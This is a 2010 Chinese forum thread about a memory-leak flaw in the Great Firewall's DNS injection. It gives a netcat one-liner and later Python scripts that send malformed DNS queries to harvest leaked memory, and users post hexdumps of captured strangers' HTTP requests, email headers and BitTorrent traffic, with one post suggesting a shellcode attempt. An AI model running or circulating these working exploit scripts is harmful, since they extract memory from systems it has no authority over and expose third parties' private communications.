GFW溢出漏洞 2010-09-22

id已被绿坝屏蔽

闃呭悗鍗崇剼

1楼 大 中 小 发表于 2010-9-29 18:52 只看该作者

GFW溢出漏洞 2010-09-22

一条linux命令用于实时围观GFW审查机器溢出返回值。来自 http://twitter.com/gfwrev/status/25220534979

复制内容到剪贴板

代码:

`while true; do printf “\0\0\1\0\0\1\0\0\0\0\0\0\6wux.ru\300” nc -uq1

128.241.91.35 53 hd -s20; done`

时不时能偷窥到人民群众访问三俗网站的HTTP请求。哈哈。

[ 本帖最后由 id已被绿坝屏蔽 于 2010-9-29 19:01 编辑 ]


Terminusbot 整理,讨论请前往 2049bbs.xyz


lehui99

2楼 大 中 小 发表于 2010-9-29 22:40 只看该作者

看到的都是些什么呀?看到下面这些乱码:

100428065610Z0!+�m}j9��a< �U

0911�   , �bA

��   wux.ru�$�xK90ABCDEF1234567890ABCDEF /�d=1&grade=3”

onMouseOut=”MM_swapImgRestore()” onMouseOver=”MM_swapImage(‘g3’,’’,’http://va�

  , �-

��   wux.ru�$�xK90ABCDEF1234567890ABCDEF��_�ntrol: no-cache, must-

revalidate

Pragma: no-cache

Content-Length: 0

Expires: Fri, 01 Ja�   , ���’

��   wux.ru�$�xK90ABCDEF1234567890ABCDEF���Content-Type: text/html

Last-Modified: Mon, 27 Sep 2010 08:21:47 GMT

Accept-Ranges: byte�   , �jyK

��   wux.ru�$�xK90ABCDEF1234567890ABCDEF/��� 2�� �^

�P0E�!E!�&���. ��%a1P�= �ԁ/”���5��[�En儺k^���ON�������ҩ~�lQM’L����������}� 

 , %=6�

id已被绿坝屏蔽

闃呭悗鍗崇剼

3楼 大 中 小 发表于 2010-9-29 22:44 只看该作者

引用:

原帖由 lehui99 于 2010-9-29 22:40 发表

看到的都是些什么呀?看到下面这些乱码:

100428065610Z0!+�m}j9��a

这个就是GFW流水线截获的出国边界流量。

lehui99

4楼 大 中 小 发表于 2010-9-29 22:49 只看该作者

回复 3楼 id已被绿坝屏蔽 的话题

最好让GFW进程crash

看到有很多访问 http://www.45setv.com/ 的。

skyking0752

5楼 大 中 小 发表于 2010-9-29 23:15 只看该作者

引用:

原帖由 lehui99 于 2010-9-29 22:49 发表

最好让GFW进程crash

看到有很多访问 http://www.45setv.com/ 的。

师父搞TV,不用注册也可以看无码,利害啊

id已被绿坝屏蔽

闃呭悗鍗崇剼

6楼 大 中 小 发表于 2010-9-29 23:27 只看该作者

引用:

原帖由 lehui99 于 2010-9-29 22:49 发表

最好让GFW进程crash

看到有很多访问 http://www.45setv.com/ 的。

gfw也不会sb到没有监护daemon的地步。肯定有冗余进程保证进程崩溃自动respawn的。

麦圆

Twitter @math2gold 惊诧的火星友邦 咪咪是 /math2ogld

7楼 大 中 小 发表于 2010-9-30 02:33 只看该作者

这个不错,正在尝试。

麦圆

Twitter @math2gold 惊诧的火星友邦 咪咪是 /math2ogld

8楼 大 中 小 发表于 2010-9-30 02:37 只看该作者

确实snippet到不少被墙的地址。

0000014: 3264 ab0c 358d faad 4303 0003 0087 0303 2d..5…C…….

0000024: 00f1 0303 0016 045a 0669 466a 2048 5454 …….Z.iFj HTT

0000034: 502f 312e 310d 0a41 6363 6570 743a 202a P/1.1..Accept: *

0000044: 2f2a 0d0a 5265 6665 7265 723a 2068 7474 /*..Referer: htt

0000054: 703a 2f2f 7777 772e 3933 3934 636c 7562 p://www.9394club

0000064: 2e63 6f6d 2f6e 6577 6262 732f 7669 6577 .com/newbbs/view

0000074: 7468 7265 6164 2e70 6870 3f74 6964 3d31 thread.php?tid=1

0000084: 3436 3334 2665 7874 7261 c00c 0001 0001 4634&extra……

0000094: 0000 012c 0004 9f6a 794b …,…jyK

麦圆

Twitter @math2gold 惊诧的火星友邦 咪咪是 /math2ogld

9楼 大 中 小 发表于 2010-9-30 03:10 只看该作者

邮件也被GFW.

0000014: bf6f c4ae 7374 6572 4068 626a 7a78 2e63 .o..ster@hbjzx.c

0000024: 6f6d 2e63 6e0d 0a54 6f3a 2077 6573 7465 om.cn..To: weste

0000034: 726e 756e 696f 6e62 656e 4077 6573 7465 rnunionben@weste

0000044: 726e 756e 696f 6e2e 636f 6d0d 0a44 6174 rnunion.com..Dat

0000054: 653a 2054 6875 2c20 3330 2053 6570 2032 e: Thu, 30 Sep 2

0000064: 3031 3020 3032 3a35 393a 3030 202b 3038 010 02:59:00 +08

0000074: 3030 0d0a 4d49 4d45 2d56 6572 7369 6f6e 00..MIME-Version

0000084: 3a20 312e 300d 0a43 6f6e c00c 0001 0001 : 1.0..Con……

id已被绿坝屏蔽

闃呭悗鍗崇剼

10楼 大 中 小 发表于 2010-9-30 13:19 只看该作者

引用:

原帖由 麦圆 于 2010-9-30 03:10 发表

邮件也被GFW.

0000014: bf6f c4ae 7374 6572 4068 626a 7a78 2e63 .o..ster@hbjzx.c

0000024: 6f6d 2e63 6e0d 0a54 6f3a 2077 6573 7465 om.cn..To: weste

0000034: 726e 756e 696f 6e62 656e 4077 6573 7465 …

西联汇款啊。汗。。。而且时间戳很一致。

shiny

路过踩一脚

11楼 大 中 小 发表于 2010-9-30 13:25 只看该作者

哇,牛B了

麦圆

Twitter @math2gold 惊诧的火星友邦 咪咪是 /math2ogld

12楼 大 中 小 发表于 2010-9-30 13:45 只看该作者

引用:

原帖由 id已被绿坝屏蔽 于 2010-9-30 13:19 发表

西联汇款啊。汗。。。而且时间戳很一致。

这个漏洞太牛了,做了一个活生生的案例演示给大家看老大哥在偷窥什么。不会是正在利用GFW秘密特殊监视出入境的资金用途吧?

麦圆

Twitter @math2gold 惊诧的火星友邦 咪咪是 /math2ogld

13楼 大 中 小 发表于 2010-9-30 13:50 只看该作者

这段应该是网游升级的:

….yo”,”Data\sound_character.rho.comp”,”1313692646”,”5313536”,”4651637”,”30*

萧易寒

14楼 大 中 小 发表于 2010-9-30 15:39 只看该作者

在国外用不了?已经把128.241.91.35换成国内IP了

hd: stdin: Illegal seek

no port[s] to connect to

hd: stdin: Illegal seek

no port[s] to connect to

hd: stdin: Illegal seek

no port[s] to connect to

和谐牌河蟹

和谐社会吃河蟹 @HOY_05

15楼 大 中 小 发表于 2010-9-30 16:15 只看该作者

引用:

原帖由 skyking0752 于 2010-9-29 23:15 发表

师父搞TV,不用注册也可以看无码,利害啊

我还以为楼主是你师父呢,原来是个网站的名字

麦圆

Twitter @math2gold 惊诧的火星友邦 咪咪是 /math2ogld

16楼 大 中 小 发表于 2010-9-30 17:58 只看该作者

引用:

原帖由 萧易寒 于 2010-9-30 15:39 发表

在国外用不了?已经把128.241.91.35换成国内IP了

hd: stdin: Illegal seek

no port[s] to connect to

hd: stdin: Illegal seek

no port[s] to connect to

hd: stdin: Illegal seek

no port[s] to connect to

是你的 hd 指令不支持stdin 的seek嘛,把hd换成xxd看。我这里头还能窥看着呢。

麦圆

Twitter @math2gold 惊诧的火星友邦 咪咪是 /math2ogld

17楼 大 中 小 发表于 2010-9-30 18:18 只看该作者

https://math2gold.1984blog.com/2 … %e7%94%a8%e9%80%94/

shelly

18楼 大 中 小 发表于 2010-9-30 22:58 只看该作者

请教。。怎样看这些乱七八糟的东西阿?

laoyang

尘世中一个迷途小书童

19楼 大 中 小 发表于 2010-10-1 10:17 只看该作者

为什么我的出来都是u.u.u.u.

麦圆

Twitter @math2gold 惊诧的火星友邦 咪咪是 /math2ogld

20楼 大 中 小 发表于 2010-10-1 10:58 只看该作者

1. 墙外nc的目标主机要是墙内的,墙内nc目标主机要是墙内的。

2. 要输出到文件。只要修改

引用:

; done

引用:

filename ; done

即可. 具体请搜索并参阅”shell 重定向”。

3.输出的内容显然是根据这时间内其截取到的通信而定。

麦圆

Twitter @math2gold 惊诧的火星友邦 咪咪是 /math2ogld

21楼 大 中 小 发表于 2010-10-1 11:15 只看该作者

@gfwrev:

引用:

$SOME_IP: 在国内的随便选一个国外的不在线的ip,反之亦然。 11:28 PM Sep 22nd via web

laoyang

尘世中一个迷途小书童

22楼 大 中 小 发表于 2010-10-1 13:15 只看该作者

回复 21楼 麦圆 的话题

不在线的IP是指没有联网的IP?我怎么知道某个IP有没有联网呢?

shiny

路过踩一脚

23楼 大 中 小 发表于 2010-10-1 13:29 只看该作者

引用:

原帖由 shelly 于 2010-9-30 22:58 发表

请教。。怎样看这些乱七八糟的东西阿?

Adobe Photoshop…………

id已被绿坝屏蔽

闃呭悗鍗崇剼

24楼 大 中 小 发表于 2010-10-1 13:31 只看该作者

引用:

原帖由 萧易寒 于 2010-9-30 15:39 发表

在国外用不了?已经把128.241.91.35换成国内IP了

hd: stdin: Illegal seek

no port[s] to connect to

hd: stdin: Illegal seek

no port[s] to connect to

hd: stdin: Illegal seek

no port[s] to connect to

国外溢出的话貌似只能得到一些BT协议流量。HTTP的没见到几个。

四不象

25楼 大 中 小 发表于 2010-10-1 13:34 只看该作者

128.241.91.35 是dns服务器吗?没反应嘛

麦圆

Twitter @math2gold 惊诧的火星友邦 咪咪是 /math2ogld

26楼 大 中 小 发表于 2010-10-1 20:16 只看该作者

引用:

原帖由 laoyang 于 2010-10-1 13:15 发表

不在线的IP是指没有联网的IP?我怎么知道某个IP有没有联网呢?

在墙外,随便找一个内地ip嘛,很多ip都是无法链接的。

麦圆

Twitter @math2gold 惊诧的火星友邦 咪咪是 /math2ogld

27楼 大 中 小 发表于 2010-10-1 20:18 只看该作者

引用:

原帖由 四不象 于 2010-10-1 13:34 发表

128.241.91.35 是dns服务器吗?没反应嘛

墙外米反应就对了。

id已被绿坝屏蔽

闃呭悗鍗崇剼

28楼 大 中 小 发表于 2010-10-2 12:28 只看该作者

引用:

原帖由 麦圆 于 2010-10-1 20:18 发表

墙外米反应就对了。

墙是双向工作的。墙外向国内任意一个IP也可以获得溢出数据。但是很难看到HTTP的数据,据我观察基本都是BT协议。

比如在墙外主机运行这个命令

复制内容到剪贴板

代码:

` $ while true; do printf “\0\0\1\0\0\1\0\0\0\0\0\0\6wux.ru\300” nc -uq1

www.baidu.com 53 xxd -s20; done

0000014: 56c5 f14b 3930 4142 4344 4546 3132 3334 V..K90ABCDEF1234

0000024: 3536 3738 3930 4142 4344 4546 f298 b43c 567890ABCDEF…<

0000034: dfcf c98c 8a7d d7b1 4c61 4f60 6208 7225 …..}..LaO`b.r%

0000044: 7a66 392f 04e4 c364 974d 902f 7d52 2dfd zf9/…d.M./}R-.

0000054: 2094 54a2 5051 9968 624c d374 8db3 2928 .T.PQ.hbL.t..)(

0000064: 5561 5f30 e12a 258f e4a5 d120 da40 d030 Ua_0.*%…. .@.0

0000074: 124d 0dc8 399b a1a5 3101 42c7 014a 0909 .M..9…1.B..J..

0000084: 6a06 c041 c534 9372 2fa5 c00c 0001 0001 j..A.4.r/…….

0000094: 0000 012c 0004 cb62 0741 …,…b.A

0000014: eacf d899 02da 469b 8011 99ce 393a 696e ……F…..9:in

0000024: 666f 5f68 6173 6832 303a b381 5a08 569e fo_hash20:..Z.V.

0000034: 1489 13af e9ab a232 0c75 4b91 9468 6531 …….2.uK..he1

0000044: 3a71 393a 6765 745f 7065 6572 7331 3a74 :q9:get_peers1:t

0000054: 383a 3130 3034 3738 3538 313a 7931 3a71 8:100478581:y1:q

0000064: 657e 9762 8016 e991 a1c1 aada 3c66 9851 e~.b……..<f.Q

0000074: d224 bd35 a31f 6e91 ef6e af71 5d8a a692 .$.5..n..n.q]…

0000084: d012 4041 fc90 00d2 4277 c00c 0001 0001 ..@A….Bw……

0000094: 0000 012c 0004 0807 c62d …,…..-`

一样可以看到一些结果。

info_hash 和 he1:q9:get_peers1:t8:100478581:y1:qe 就是BT协议里的东西

http://www.bittorrent.org/beps/bep_0005.html

[ 本帖最后由 id已被绿坝屏蔽 于 2010-10-2 12:31 编辑 ]

麦圆

Twitter @math2gold 惊诧的火星友邦 咪咪是 /math2ogld

29楼 大 中 小 发表于 2010-10-2 14:43 只看该作者

回复 28楼 id已被绿坝屏蔽 的话题

我指的是墙外对墙外的ip进行操作,那肯定是没反应的。

laoyang可以换www.baidu.com 53试试了。

laoyang

尘世中一个迷途小书童

30楼 大 中 小 发表于 2010-10-2 14:56 只看该作者

回复 29楼 麦圆 的话题

好,昨天我用的是新浪的,一直没有看到什么东西 呵呵

无穷无尽

31楼 大 中 小 发表于 2010-10-4 17:09 只看该作者

引用:

原帖由 lehui99 于 2010-9-29 22:49 发表

最好让GFW进程crash

看到有很多访问 http://www.45setv.com/ 的。

弓虽

hikui

32楼 大 中 小 发表于 2010-10-5 11:23 只看该作者

很神奇。。

tywtyw2002

33楼 大 中 小 发表于 2010-10-6 08:55 只看该作者

get_peers1 多半是bt 流量

tywtyw2002

34楼 大 中 小 发表于 2010-10-6 09:31 只看该作者

http%3A%2F%2

00000054 46 73 68 61 72 65 2e 72 65 6e 72 65 6e 2e 63 6f Fshare.renren.co

00000064 6d 25 32 46 73 68 61 72 65 25 32 46 47 65 74 53 m%2Fshare%2FGetS

00000074 68 61 72 65 2e 64 6f 25 33 46 69 64 25 33 44 33 hare.do%3Fid%3D3

00000084 34 30 37 37 35 39 37 30 34 25 32 36 6f 77 6e 65 407759704%26owne

00000094 72 25 33 44 33 32 c0 0c 00 01 00 01 00 00 01 2c r%3D32.

lehui99

35楼 大 中 小 发表于 2010-10-8 22:00 只看该作者

为了能在Windows下使用,改写成了python:

复制内容到剪贴板

代码:

`import socket

import binascii

import time

import threading

class DataReceiver:

    def __init__(self, s):  

            self.s = s  

    def __call__(self):  

            while True:  

                    r = s.recvfrom(65535)[0]  

                    i = 0  

                    while i < len(r):  

                            print '%04x:' % i,  

                            p = list(r[i : i + 16])  

                            for j in range(0, len(p)):  

                                    print binascii.b2a_hex(p[j]),  

                                    if p[j] < ' ' or p[j] > '~':  

                                            p[j] = '.'  

                            print ' ' * ((15 - j) * 3),  

                            print "".join(p)  

                            i += 16  

s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

threading.Thread(target = DataReceiver(s)).start()

while True:

    s.sendto("\0\0\1\0\0\1\0\0\0\0\0\0\6wux.ru\377", ("218.30.54.118", 53))  

    time.sleep(0.001)`

安装好python 2.6,把代码复制到记事本,保存为gfwoverflow.py,在命令行执行python gfwoverflow.py就能看到结果了。

[ 本帖最后由 lehui99 于 2010-10-8 22:02 编辑 ]

zpclxc

36楼 大 中 小 发表于 2010-10-8 23:00 只看该作者

强啊,技术盲围观

mycccc

37楼 大 中 小 发表于 2010-10-8 23:58 只看该作者

引用:

原帖由 lehui99 于 2010-10-8 22:00 发表

为了能在Windows下使用,改写成了python:

import socket

import binascii

import time

import threading

class DataReceiver:

     def __init__(self, s):  
             self.s = s  
     def __call__(self):  
             while True ...

好同学

但:

Exception in thread Thread-1:

Traceback (most recent call last):

File “C:\Python26\lib\threading.py”, line 525, in __bootstrap_inner

self.run()  

File “C:\Python26\lib\threading.py”, line 477, in run

self.__target(*self.__args, **self.__kwargs)  

File “G:\gfw.py”, line 11, in call

r = s.recvfrom(65535)[0]  

error: [Errno 10022]

CyberTime

One Man, No Man.

38楼 大 中 小 发表于 2010-10-9 00:12 只看该作者

小组技术实力确实很强啊。

lehui99

39楼 大 中 小 发表于 2010-10-9 01:00 只看该作者

回复 37楼 mycccc 的话题

python版本是多少?我这里是2.6,3.0可能会有问题。

lehui99

40楼 大 中 小 发表于 2010-10-9 01:39 只看该作者

或者尝试一下修改版:

复制内容到剪贴板

代码:

`import socket

import binascii

import time

import threading

class DataReceiver:

    def __init__(self, s):  

            self.s = s  

    def __call__(self):  

            while True:  

                    try:  

                            r = s.recvfrom(65535)[0]  

                    except:  

                            continue  

                    i = 0  

                    while i < len(r):  

                            print '%04x:' % i,  

                            p = list(r[i : i + 16])  

                            for j in range(0, len(p)):  

                                    print binascii.b2a_hex(p[j]),  

                                    if p[j] < ' ' or p[j] > '~':  

                                            p[j] = '.'  

                            print ' ' * ((15 - j) * 3),  

                            print "".join(p)  

                            i += 16  

s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

threading.Thread(target = DataReceiver(s)).start()

while True:

    s.sendto("\0\0\1\0\0\1\0\0\0\0\0\0\6wux.ru\377", ("218.30.54.118", 53))  

    time.sleep(0.001)`  

tywtyw2002

41楼 大 中 小 发表于 2010-10-9 07:52 只看该作者

寫成 c++吧

tywtyw2002

42楼 大 中 小 发表于 2010-10-9 07:53 只看该作者

不過返回數據有數量限制 具體沒看 應該是1個包的長度 2次返回的數據不連續

返回的數據應該這個dns結果后面的ip數據 不過通過這些可以得到一些gfw的信息

lehui99

43楼 大 中 小 发表于 2010-10-9 17:27 只看该作者

引用:

原帖由 tywtyw2002 于 2010-10-9 07:52 发表

寫成 c++吧

组里有谁会C++吗?能改写一下吗?

引用:

原帖由 tywtyw2002 于 2010-10-9 07:53 发表

不過返回數據有數量限制 具體沒看 應該是1個包的長度 2次返回的數據不連續

返回的數據應該這個dns結果后面的ip數據 不過通過這些可以得到一些gfw的信息

数据确实不连续,不过这也是GFW中内存的样子吧?

十六夜小一

44楼 大 中 小 发表于 2010-10-10 00:36 只看该作者

( ⊙o⊙ 围观技术宅

mycccc

45楼 大 中 小 发表于 2010-10-10 11:46 只看该作者

回复 40楼 lehui99 的话题

2.6运行40楼修正版ok~

mycccc

46楼 大 中 小 发表于 2010-10-10 12:00 只看该作者

回复 45楼 mycccc 的话题

在powercmd里运行python脚本

可以自动保存log

方便查看

5分钟1MB

量不大啊

id已被绿坝屏蔽

闃呭悗鍗崇剼

47楼 大 中 小 发表于 2010-10-10 13:57 只看该作者

引用:

原帖由 mycccc 于 2010-10-10 12:00 发表

在powercmd里运行python脚本

可以自动保存log

方便查看

5分钟1MB

量不大啊

dns一个包最大512字节。精通RFC

2671的想办法自己改吧。MTU弄大一点。。。但是估计就收不到了。其实这个溢出可以做成并发的。你可以躲开几个进程同时收集。

[ 本帖最后由 id已被绿坝屏蔽 于 2010-10-10 13:58 编辑 ]

lehui99

48楼 大 中 小 发表于 2010-10-10 15:17 只看该作者

发现填写不同的国外IP能看到不同的内容,把python脚本中的IP:218.30.54.118换成其他的IP(比如yahoo.com的IP)会看到大部分不同的内容。

id已被绿坝屏蔽

闃呭悗鍗崇剼

49楼 大 中 小 发表于 2010-10-10 15:26 只看该作者

引用:

原帖由 lehui99 于 2010-10-10 15:17 发表

发现填写不同的国外IP能看到不同的内容,把python脚本中的IP:218.30.54.118换成其他的IP(比如yahoo.com的IP)会看到大部分不同的内容。

估计飞指针飞到不同的内存区域了。有人去试试shellcode没?

萧尧猫

既宅又腐、猫控、无党派人士、不同政见者、@ho_kitty

50楼 大 中 小 发表于 2010-10-10 15:54 只看该作者

完全看不懂…….

51 12››